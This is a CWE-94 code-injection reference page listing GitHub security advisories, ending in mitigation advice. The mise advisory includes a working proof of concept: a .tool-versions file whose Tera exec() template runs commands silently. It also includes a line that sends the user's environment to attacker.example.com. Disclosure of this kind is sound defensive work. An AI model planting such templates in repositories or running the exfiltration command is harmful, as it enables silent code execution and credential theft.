CWE-94
Allowed-with-ReviewImproper Control of Generation of Code ('Code Injection')
Abstraction: Base · Status: Draft
The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.
8466 vulnerabilities reference this CWE, most recent first.
GHSA-FJ56-7H2J-M3P3
Vulnerability from github – Published: 2025-03-04 18:33 – Updated: 2025-03-05 21:32An issue in xxyopen novel plus v.4.4.0 and before allows a remote attacker to execute arbitrary code via the PageController.java file
{
"affected": [],
"aliases": [
"CVE-2025-26182"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-03-04T17:15:18Z",
"severity": "MODERATE"
},
"details": "An issue in xxyopen novel plus v.4.4.0 and before allows a remote attacker to execute arbitrary code via the PageController.java file",
"id": "GHSA-fj56-7h2j-m3p3",
"modified": "2025-03-05T21:32:08Z",
"published": "2025-03-04T18:33:44Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-26182"
},
{
"type": "WEB",
"url": "https://gist.github.com/GSBP0/007355c5f6bd213264ae1c35c347e5cc"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-FJ5J-5VM7-Q87M
Vulnerability from github – Published: 2026-05-29 00:38 – Updated: 2026-05-29 15:30Inappropriate implementation in USB in Google Chrome prior to 148.0.7778.216 allowed a remote attacker to execute arbitrary code via a crafted HTML page. (Chromium security severity: High)
{
"affected": [],
"aliases": [
"CVE-2026-9976"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-05-28T23:16:55Z",
"severity": "HIGH"
},
"details": "Inappropriate implementation in USB in Google Chrome prior to 148.0.7778.216 allowed a remote attacker to execute arbitrary code via a crafted HTML page. (Chromium security severity: High)",
"id": "GHSA-fj5j-5vm7-q87m",
"modified": "2026-05-29T15:30:32Z",
"published": "2026-05-29T00:38:38Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-9976"
},
{
"type": "WEB",
"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_0877304591.html"
},
{
"type": "WEB",
"url": "https://issues.chromium.org/issues/511732828"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-FJ6G-9Q5Q-QVHH
Vulnerability from github – Published: 2022-05-17 03:27 – Updated: 2022-05-17 03:27PHP remote file inclusion vulnerability in ajax/myajaxphp.php in AudioShare 2.0.2 allows remote attackers to execute arbitrary PHP code via a URL in the config['basedir'] parameter.
{
"affected": [],
"aliases": [
"CVE-2015-4726"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2015-06-23T14:59:00Z",
"severity": "HIGH"
},
"details": "PHP remote file inclusion vulnerability in ajax/myajaxphp.php in AudioShare 2.0.2 allows remote attackers to execute arbitrary PHP code via a URL in the config[\u0027basedir\u0027] parameter.",
"id": "GHSA-fj6g-9q5q-qvhh",
"modified": "2022-05-17T03:27:30Z",
"published": "2022-05-17T03:27:30Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2015-4726"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/132337/Audio-Share-2.0.2-Cross-Site-Scripting-Remote-File-Inclusion.html"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/75382"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-FJ85-3HPV-97RG
Vulnerability from github – Published: 2024-12-06 15:31 – Updated: 2026-04-01 18:32Improper Control of Generation of Code ('Code Injection') vulnerability in WP Sharks s2Member Pro allows Code Injection.This issue affects s2Member Pro: from n/a through 241114.
{
"affected": [],
"aliases": [
"CVE-2024-51815"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-12-06T14:15:21Z",
"severity": "CRITICAL"
},
"details": "Improper Control of Generation of Code (\u0027Code Injection\u0027) vulnerability in WP Sharks s2Member Pro allows Code Injection.This issue affects s2Member Pro: from n/a through 241114.",
"id": "GHSA-fj85-3hpv-97rg",
"modified": "2026-04-01T18:32:40Z",
"published": "2024-12-06T15:31:20Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-51815"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/s2member/vulnerability/wordpress-s2member-excellent-for-all-kinds-of-memberships-content-restriction-paywalls-member-access-subscriptions-plugin-241114-remote-code-execution-rce-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-FJ97-QC2X-QQM7
Vulnerability from github – Published: 2022-05-02 00:11 – Updated: 2022-05-02 00:11plugins/wacko/highlight/html.php in Strawberry in CuteNews.ru 1.1.1 (aka Strawberry) allows remote attackers to execute arbitrary PHP code via the text parameter, which is inserted into an executable regular expression.
{
"affected": [],
"aliases": [
"CVE-2008-4557"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2008-10-14T22:36:00Z",
"severity": "HIGH"
},
"details": "plugins/wacko/highlight/html.php in Strawberry in CuteNews.ru 1.1.1 (aka Strawberry) allows remote attackers to execute arbitrary PHP code via the text parameter, which is inserted into an executable regular expression.",
"id": "GHSA-fj97-qc2x-qqm7",
"modified": "2022-05-02T00:11:20Z",
"published": "2022-05-02T00:11:20Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2008-4557"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/39450"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/4851"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/28330"
},
{
"type": "WEB",
"url": "http://securityreason.com/securityalert/4403"
},
{
"type": "WEB",
"url": "http://www.osvdb.org/40236"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-FJGJ-7XGJ-VMH7
Vulnerability from github – Published: 2023-03-16 06:30 – Updated: 2025-02-26 21:30In affected versions of Octopus Deploy it is possible for a user to introduce code via offline package creation
{
"affected": [],
"aliases": [
"CVE-2022-4009"
],
"database_specific": {
"cwe_ids": [
"CWE-77",
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-03-16T04:15:00Z",
"severity": "HIGH"
},
"details": "In affected versions of Octopus Deploy it is possible for a user to introduce code via offline package creation",
"id": "GHSA-fjgj-7xgj-vmh7",
"modified": "2025-02-26T21:30:23Z",
"published": "2023-03-16T06:30:20Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-4009"
},
{
"type": "WEB",
"url": "https://advisories.octopus.com/post/2023/sa2023-05"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-FJJ5-V948-WHJJ
Vulnerability from github – Published: 2026-06-22 17:19 – Updated: 2026-07-21 15:04Summary
Mise processes .tool-versions files through the Tera template engine during parsing, with the exec() function registered, enabling arbitrary command execution. Unlike .mise.toml files, .tool-versions files are not subject to trust verification in non-paranoid mode. This means an attacker can place a malicious .tool-versions file in a git repository, and when a victim with mise activated cds into the directory, arbitrary commands execute without any trust prompt.
Vulnerability Details
Vulnerable Code
File: src/config/config_file/tool_versions.rs, lines 60-63
pub fn parse_str(s: &str, path: PathBuf) -> Result<Self> {
let mut cf = Self::init(&path);
let dir = path.parent();
let s = get_tera(dir).render_str(s, &cf.context)?; // <-- No trust check
// ...
}
File: src/tera.rs, lines 385-391
pub fn get_tera(dir: Option<&Path>) -> Tera {
let mut tera = TERA.clone();
let dir = dir.map(PathBuf::from);
tera.register_function("exec", tera_exec(dir.clone(), env::PRISTINE_ENV.clone()));
tera.register_function("read_file", tera_read_file(dir));
tera
}
File: src/tera.rs, lines 394-452 -- tera_exec passes the command argument to a shell for execution with no restrictions.
File: src/config/config_file/mod.rs, lines 272-287
pub async fn parse(path: &Path) -> Result<Arc<dyn ConfigFile>> {
if let Ok(settings) = Settings::try_get()
&& settings.paranoid
{
trust_check(path)?; // Only in paranoid mode!
}
match detect_config_file_type(path).await {
// ...
Some(ConfigFileType::ToolVersions) => Ok(Arc::new(ToolVersions::from_file(path)?)),
// ...
}
}
Attack Vector
- An attacker creates a
.tool-versionsfile in a git repository containing Tera template syntax with theexec()function. - The victim clones the repository and has mise activated in their shell (via
eval "$(mise activate zsh)"or equivalent). - When the victim
cds into the repository directory, mise's shell hook (hook-env) fires automatically. hook-envloads and parses config files, including.tool-versions.- During parsing,
ToolVersions::parse_strprocesses the file content throughget_tera(dir).render_str(). - The Tera engine evaluates
{{ exec(command="...") }}, executing arbitrary commands as the victim's user. - No trust prompt is displayed because
trust_checkis not called for.tool-versionsfiles in non-paranoid mode.
Execution Context
- Commands execute as the current user with full access to their environment.
- The pristine environment (
env::PRISTINE_ENV) is passed to the executed command, which includes all of the user's environment variables (potentially including tokens, credentials, SSH agents, etc.). - Execution happens silently during the prompt hook -- the user sees no indication that code was run.
Contrast with .mise.toml
.mise.toml files are protected: MiseToml::from_str() calls trust_check(path) before any parsing occurs (line 213 of mise_toml.rs). During hook-env, untrusted .mise.toml files fail to parse with an UntrustedConfig error, preventing any code execution. .tool-versions files lack this protection entirely.
Steps to Reproduce
Prerequisites
- mise installed (
brew install miseor equivalent) - Shell activation enabled:
eval "$(mise activate zsh)"(or bash/fish) - Default settings (paranoid mode NOT enabled — this is the default)
PoC: Silent RCE on cd
Step 1: Create a directory simulating a cloned repository with a malicious .tool-versions:
mkdir -p /tmp/poc-mise-repo
cd /tmp/poc-mise-repo
git init
cat > .tool-versions << 'EOF'
{{ exec(command="id > /tmp/mise-rce-proof && echo SUCCESS=$(whoami) >> /tmp/mise-rce-proof && date >> /tmp/mise-rce-proof") }}node 20.0.0
python 3.11.0
EOF
git add -A && git commit -m "Initial commit"
Note: The exec() output is concatenated with node so the resulting line parses as a valid tool-versions entry. The payload redirects all output to a file, producing no stdout — the exec() returns an empty string, making the line evaluate to node 20.0.0.
Step 2: In a new shell with mise activated, enter the directory:
eval "$(mise activate zsh)"
cd /tmp/poc-mise-repo
Step 3: Verify arbitrary code execution:
cat /tmp/mise-rce-proof
Expected output:
uid=501(youruser) gid=20(staff) groups=20(staff),...
SUCCESS=youruser
Mon Mar 16 21:34:46 IST 2026
No trust prompt, no warning, no error output. The id command executed silently as the current user.
Validated Test Results
Tested on 2026-03-16 with:
- mise 2026.3.9 macos-arm64
- macOS Darwin 24.5.0 arm64
- zsh 5.9
- Paranoid mode: false (default)
Test 1 — .tool-versions (no trust check):
$ rm -f /tmp/mise-rce-proof
$ zsh -c 'eval "$(mise activate zsh)" && cd /tmp/poc-mise-repo && pwd'
/tmp/poc-mise-repo
$ cat /tmp/mise-rce-proof
uid=501(golan) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),...
SUCCESS=golan
Mon Mar 16 21:34:46 IST 2026
Command executed silently. No trust prompt. No errors.
Test 2 — .mise.toml with same payload (trust check blocks execution):
$ mkdir -p /tmp/poc-mise-toml
$ cat > /tmp/poc-mise-toml/.mise.toml << 'TOMLEOF'
[tools]
node = "{{ exec(command='id > /tmp/mise-hook-pwned') }}20.0.0"
TOMLEOF
$ rm -f /tmp/mise-hook-pwned
$ zsh -c 'eval "$(mise activate zsh)" && cd /tmp/poc-mise-toml && pwd'
mise ERROR Config files in /private/tmp/poc-mise-toml/.mise.toml are not trusted.
Trust them with `mise trust`. See https://mise.jdx.dev/cli/trust.html
$ cat /tmp/mise-hook-pwned
cat: /tmp/mise-hook-pwned: No such file or directory
.mise.toml correctly blocked by trust verification. .tool-versions bypasses it entirely.
Alternative PoC (data exfiltration)
{{ exec(command="curl -s -X POST -d \"$(env | base64)\" https://attacker.example.com/collect -o /dev/null") }}python 3.11.0
Impact
- Arbitrary code execution on any machine where a user with mise activated enters a directory containing a malicious
.tool-versionsfile. - Supply chain attack vector:
.tool-versionsis a widely-used convention from asdf-vm and is commonly committed to repositories. Developers expect it to contain only tool names and versions, not executable content. - Silent execution: No trust prompt, warning, or user interaction required.
- Full user privilege escalation: Commands run with the full privileges and environment of the current user.
- Credential theft: The user's full environment (including tokens, API keys, SSH agent) is available to the executed command.
- Widespread potential impact: Any open-source project with a
.tool-versionsfile could be targeted. A malicious PR adding tera syntax to an existing.tool-versionsfile could execute code on all reviewers' machines.
Suggested Fix
Option 1: Add trust_check to .tool-versions parsing (recommended)
// In src/config/config_file/tool_versions.rs
pub fn from_file(path: &Path) -> Result<Self> {
trace!("parsing tool-versions: {}", path.display());
Self::parse_str(&file::read_to_string(path)?, path.to_path_buf())
}
pub fn parse_str(s: &str, path: PathBuf) -> Result<Self> {
let mut cf = Self::init(&path);
let dir = path.parent();
// Only use tera if the file contains template syntax AND is trusted
let s = if s.contains("{{") || s.contains("{%") || s.contains("{#") {
trust_check(&path)?;
get_tera(dir).render_str(s, &cf.context)?
} else {
s.to_string()
};
// ...
}
Option 2: Remove exec() from .tool-versions tera context
Create a separate get_tera_safe() that does not register the exec function, and use it for .tool-versions parsing.
Option 3: Remove tera processing from .tool-versions entirely
.tool-versions is an asdf-compatible format that historically does not support templates. Removing tera from its parsing would be the safest approach and most consistent with user expectations.
{
"affected": [
{
"package": {
"ecosystem": "crates.io",
"name": "mise"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2026.3.10"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33646"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-22T17:19:56Z",
"nvd_published_at": "2026-06-26T18:16:58Z",
"severity": "CRITICAL"
},
"details": "## Summary\n\nMise processes `.tool-versions` files through the Tera template engine during parsing, with the `exec()` function registered, enabling arbitrary command execution. Unlike `.mise.toml` files, `.tool-versions` files are **not subject to trust verification** in non-paranoid mode. This means an attacker can place a malicious `.tool-versions` file in a git repository, and when a victim with mise activated `cd`s into the directory, arbitrary commands execute without any trust prompt.\n\n## Vulnerability Details\n\n### Vulnerable Code\n\n**File:** `src/config/config_file/tool_versions.rs`, lines 60-63\n\n```rust\npub fn parse_str(s: \u0026str, path: PathBuf) -\u003e Result\u003cSelf\u003e {\n let mut cf = Self::init(\u0026path);\n let dir = path.parent();\n let s = get_tera(dir).render_str(s, \u0026cf.context)?; // \u003c-- No trust check\n // ...\n}\n```\n\n**File:** `src/tera.rs`, lines 385-391\n\n```rust\npub fn get_tera(dir: Option\u003c\u0026Path\u003e) -\u003e Tera {\n let mut tera = TERA.clone();\n let dir = dir.map(PathBuf::from);\n tera.register_function(\"exec\", tera_exec(dir.clone(), env::PRISTINE_ENV.clone()));\n tera.register_function(\"read_file\", tera_read_file(dir));\n tera\n}\n```\n\n**File:** `src/tera.rs`, lines 394-452 -- `tera_exec` passes the `command` argument to a shell for execution with no restrictions.\n\n**File:** `src/config/config_file/mod.rs`, lines 272-287\n\n```rust\npub async fn parse(path: \u0026Path) -\u003e Result\u003cArc\u003cdyn ConfigFile\u003e\u003e {\n if let Ok(settings) = Settings::try_get()\n \u0026\u0026 settings.paranoid\n {\n trust_check(path)?; // Only in paranoid mode!\n }\n match detect_config_file_type(path).await {\n // ...\n Some(ConfigFileType::ToolVersions) =\u003e Ok(Arc::new(ToolVersions::from_file(path)?)),\n // ...\n }\n}\n```\n\n### Attack Vector\n\n1. An attacker creates a `.tool-versions` file in a git repository containing Tera template syntax with the `exec()` function.\n2. The victim clones the repository and has mise activated in their shell (via `eval \"$(mise activate zsh)\"` or equivalent).\n3. When the victim `cd`s into the repository directory, mise\u0027s shell hook (`hook-env`) fires automatically.\n4. `hook-env` loads and parses config files, including `.tool-versions`.\n5. During parsing, `ToolVersions::parse_str` processes the file content through `get_tera(dir).render_str()`.\n6. The Tera engine evaluates `{{ exec(command=\"...\") }}`, executing arbitrary commands as the victim\u0027s user.\n7. No trust prompt is displayed because `trust_check` is not called for `.tool-versions` files in non-paranoid mode.\n\n### Execution Context\n\n- Commands execute as the current user with full access to their environment.\n- The pristine environment (`env::PRISTINE_ENV`) is passed to the executed command, which includes all of the user\u0027s environment variables (potentially including tokens, credentials, SSH agents, etc.).\n- Execution happens silently during the prompt hook -- the user sees no indication that code was run.\n\n### Contrast with .mise.toml\n\n`.mise.toml` files are protected: `MiseToml::from_str()` calls `trust_check(path)` before any parsing occurs (line 213 of `mise_toml.rs`). During `hook-env`, untrusted `.mise.toml` files fail to parse with an `UntrustedConfig` error, preventing any code execution. `.tool-versions` files lack this protection entirely.\n\n## Steps to Reproduce\n\n### Prerequisites\n\n- mise installed (`brew install mise` or equivalent)\n- Shell activation enabled: `eval \"$(mise activate zsh)\"` (or bash/fish)\n- Default settings (paranoid mode NOT enabled \u2014 this is the default)\n\n### PoC: Silent RCE on `cd`\n\n**Step 1:** Create a directory simulating a cloned repository with a malicious `.tool-versions`:\n\n```bash\nmkdir -p /tmp/poc-mise-repo\ncd /tmp/poc-mise-repo\ngit init\n\ncat \u003e .tool-versions \u003c\u003c \u0027EOF\u0027\n{{ exec(command=\"id \u003e /tmp/mise-rce-proof \u0026\u0026 echo SUCCESS=$(whoami) \u003e\u003e /tmp/mise-rce-proof \u0026\u0026 date \u003e\u003e /tmp/mise-rce-proof\") }}node 20.0.0\npython 3.11.0\nEOF\n\ngit add -A \u0026\u0026 git commit -m \"Initial commit\"\n```\n\nNote: The `exec()` output is concatenated with `node` so the resulting line parses as a valid tool-versions entry. The payload redirects all output to a file, producing no stdout \u2014 the `exec()` returns an empty string, making the line evaluate to `node 20.0.0`.\n\n**Step 2:** In a new shell with mise activated, enter the directory:\n\n```bash\neval \"$(mise activate zsh)\"\ncd /tmp/poc-mise-repo\n```\n\n**Step 3:** Verify arbitrary code execution:\n\n```bash\ncat /tmp/mise-rce-proof\n```\n\n**Expected output:**\n```\nuid=501(youruser) gid=20(staff) groups=20(staff),...\nSUCCESS=youruser\nMon Mar 16 21:34:46 IST 2026\n```\n\nNo trust prompt, no warning, no error output. The `id` command executed silently as the current user.\n\n### Validated Test Results\n\nTested on 2026-03-16 with:\n- mise 2026.3.9 macos-arm64\n- macOS Darwin 24.5.0 arm64\n- zsh 5.9\n- Paranoid mode: `false` (default)\n\n**Test 1 \u2014 `.tool-versions` (no trust check):**\n```\n$ rm -f /tmp/mise-rce-proof\n$ zsh -c \u0027eval \"$(mise activate zsh)\" \u0026\u0026 cd /tmp/poc-mise-repo \u0026\u0026 pwd\u0027\n/tmp/poc-mise-repo\n$ cat /tmp/mise-rce-proof\nuid=501(golan) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),...\nSUCCESS=golan\nMon Mar 16 21:34:46 IST 2026\n```\n\nCommand executed silently. No trust prompt. No errors.\n\n**Test 2 \u2014 `.mise.toml` with same payload (trust check blocks execution):**\n```\n$ mkdir -p /tmp/poc-mise-toml\n$ cat \u003e /tmp/poc-mise-toml/.mise.toml \u003c\u003c \u0027TOMLEOF\u0027\n[tools]\nnode = \"{{ exec(command=\u0027id \u003e /tmp/mise-hook-pwned\u0027) }}20.0.0\"\nTOMLEOF\n$ rm -f /tmp/mise-hook-pwned\n$ zsh -c \u0027eval \"$(mise activate zsh)\" \u0026\u0026 cd /tmp/poc-mise-toml \u0026\u0026 pwd\u0027\nmise ERROR Config files in /private/tmp/poc-mise-toml/.mise.toml are not trusted.\nTrust them with `mise trust`. See https://mise.jdx.dev/cli/trust.html\n$ cat /tmp/mise-hook-pwned\ncat: /tmp/mise-hook-pwned: No such file or directory\n```\n\n`.mise.toml` correctly blocked by trust verification. `.tool-versions` bypasses it entirely.\n\n### Alternative PoC (data exfiltration)\n\n```\n{{ exec(command=\"curl -s -X POST -d \\\"$(env | base64)\\\" https://attacker.example.com/collect -o /dev/null\") }}python 3.11.0\n```\n\n## Impact\n\n- **Arbitrary code execution** on any machine where a user with mise activated enters a directory containing a malicious `.tool-versions` file.\n- **Supply chain attack vector**: `.tool-versions` is a widely-used convention from asdf-vm and is commonly committed to repositories. Developers expect it to contain only tool names and versions, not executable content.\n- **Silent execution**: No trust prompt, warning, or user interaction required.\n- **Full user privilege escalation**: Commands run with the full privileges and environment of the current user.\n- **Credential theft**: The user\u0027s full environment (including tokens, API keys, SSH agent) is available to the executed command.\n- **Widespread potential impact**: Any open-source project with a `.tool-versions` file could be targeted. A malicious PR adding tera syntax to an existing `.tool-versions` file could execute code on all reviewers\u0027 machines.\n\n## Suggested Fix\n\n### Option 1: Add trust_check to .tool-versions parsing (recommended)\n\n```rust\n// In src/config/config_file/tool_versions.rs\npub fn from_file(path: \u0026Path) -\u003e Result\u003cSelf\u003e {\n trace!(\"parsing tool-versions: {}\", path.display());\n Self::parse_str(\u0026file::read_to_string(path)?, path.to_path_buf())\n}\n\npub fn parse_str(s: \u0026str, path: PathBuf) -\u003e Result\u003cSelf\u003e {\n let mut cf = Self::init(\u0026path);\n let dir = path.parent();\n // Only use tera if the file contains template syntax AND is trusted\n let s = if s.contains(\"{{\") || s.contains(\"{%\") || s.contains(\"{#\") {\n trust_check(\u0026path)?;\n get_tera(dir).render_str(s, \u0026cf.context)?\n } else {\n s.to_string()\n };\n // ...\n}\n```\n\n### Option 2: Remove exec() from .tool-versions tera context\n\nCreate a separate `get_tera_safe()` that does not register the `exec` function, and use it for `.tool-versions` parsing.\n\n### Option 3: Remove tera processing from .tool-versions entirely\n\n`.tool-versions` is an asdf-compatible format that historically does not support templates. Removing tera from its parsing would be the safest approach and most consistent with user expectations.",
"id": "GHSA-fjj5-v948-whjj",
"modified": "2026-07-21T15:04:14Z",
"published": "2026-06-22T17:19:56Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/jdx/mise/security/advisories/GHSA-fjj5-v948-whjj"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33646"
},
{
"type": "PACKAGE",
"url": "https://github.com/jdx/mise"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Mise Vulnerable to Arbitrary Code Execution via Tera Templates in .tool-versions Files (Trust Bypass)"
}
GHSA-FJMR-7667-8V4P
Vulnerability from github – Published: 2025-12-30 00:32 – Updated: 2025-12-31 22:05To prevent unexpected untrusted code execution, the Visual Studio Code Go extension is now disabled in Restricted Mode.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/golang/vscode-go"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.52.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-68120"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2025-12-31T22:05:05Z",
"nvd_published_at": "2025-12-30T00:15:52Z",
"severity": "MODERATE"
},
"details": "To prevent unexpected untrusted code execution, the Visual Studio Code Go extension is now disabled in Restricted Mode.",
"id": "GHSA-fjmr-7667-8v4p",
"modified": "2025-12-31T22:05:05Z",
"published": "2025-12-30T00:32:59Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-68120"
},
{
"type": "PACKAGE",
"url": "https://github.com/golang/vscode-go"
},
{
"type": "WEB",
"url": "https://groups.google.com/g/golang-dev/c/CHG4qfcicBU/m/4tanFUymDQAJ"
},
{
"type": "WEB",
"url": "https://pkg.go.dev/vuln/GO-2025-4249"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "Visual Studio Code Go extension has unexpected untrusted code execution"
}
GHSA-FJP3-X79G-GRGM
Vulnerability from github – Published: 2022-05-02 06:11 – Updated: 2025-04-11 03:32Microsoft Office Excel 2007 SP1 and SP2; Office 2008 for Mac; Open XML File Format Converter for Mac; Office Excel Viewer SP1 and SP2; Office Compatibility Pack for Word, Excel, and PowerPoint 2007 File Formats SP1 and SP2; and Office SharePoint Server 2007 SP1 and SP2 do not validate ZIP headers during decompression of Open XML (.XLSX) documents, which allows remote attackers to execute arbitrary code via a crafted document that triggers access to uninitialized memory locations, aka "Microsoft Office Excel XLSX File Parsing Code Execution Vulnerability."
{
"affected": [],
"aliases": [
"CVE-2010-0263"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2010-03-10T22:30:00Z",
"severity": "HIGH"
},
"details": "Microsoft Office Excel 2007 SP1 and SP2; Office 2008 for Mac; Open XML File Format Converter for Mac; Office Excel Viewer SP1 and SP2; Office Compatibility Pack for Word, Excel, and PowerPoint 2007 File Formats SP1 and SP2; and Office SharePoint Server 2007 SP1 and SP2 do not validate ZIP headers during decompression of Open XML (.XLSX) documents, which allows remote attackers to execute arbitrary code via a crafted document that triggers access to uninitialized memory locations, aka \"Microsoft Office Excel XLSX File Parsing Code Execution Vulnerability.\"",
"id": "GHSA-fjp3-x79g-grgm",
"modified": "2025-04-11T03:32:13Z",
"published": "2022-05-02T06:11:16Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2010-0263"
},
{
"type": "WEB",
"url": "https://docs.microsoft.com/en-us/security-updates/securitybulletins/2010/ms10-017"
},
{
"type": "WEB",
"url": "https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A8407"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/archive/1/509979/100/0/threaded"
},
{
"type": "WEB",
"url": "http://www.securitytracker.com/id?1023698"
},
{
"type": "WEB",
"url": "http://www.us-cert.gov/cas/techalerts/TA10-068A.html"
},
{
"type": "WEB",
"url": "http://www.zerodayinitiative.com/advisories/ZDI-10-025"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-FJQQ-2PGG-5JC3
Vulnerability from github – Published: 2022-05-14 02:34 – Updated: 2022-05-14 02:34Microsoft Internet Explorer 6 through 10 allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via a crafted web site, aka "Internet Explorer Memory Corruption Vulnerability," a different vulnerability than CVE-2013-3153.
{
"affected": [],
"aliases": [
"CVE-2013-3148"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2013-07-10T03:46:00Z",
"severity": "HIGH"
},
"details": "Microsoft Internet Explorer 6 through 10 allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via a crafted web site, aka \"Internet Explorer Memory Corruption Vulnerability,\" a different vulnerability than CVE-2013-3153.",
"id": "GHSA-fjqq-2pgg-5jc3",
"modified": "2022-05-14T02:34:17Z",
"published": "2022-05-14T02:34:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2013-3148"
},
{
"type": "WEB",
"url": "https://docs.microsoft.com/en-us/security-updates/securitybulletins/2013/ms13-055"
},
{
"type": "WEB",
"url": "https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A17034"
},
{
"type": "WEB",
"url": "http://www.us-cert.gov/ncas/alerts/TA13-190A"
}
],
"schema_version": "1.4.0",
"severity": []
}
Mitigation
Strategy: Refactoring
Refactor your program so that you do not have to dynamically generate code.
Mitigation
- Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your product.
- Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- To reduce the likelihood of code injection, use stringent allowlists that limit which constructs are allowed. If you are dynamically constructing code that invokes a function, then verifying that the input is alphanumeric might be insufficient. An attacker might still be able to reference a dangerous function that you did not intend to allow, such as system(), exec(), or exit().
Mitigation
Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.
Mitigation MIT-32
Strategy: Compilation or Build Hardening
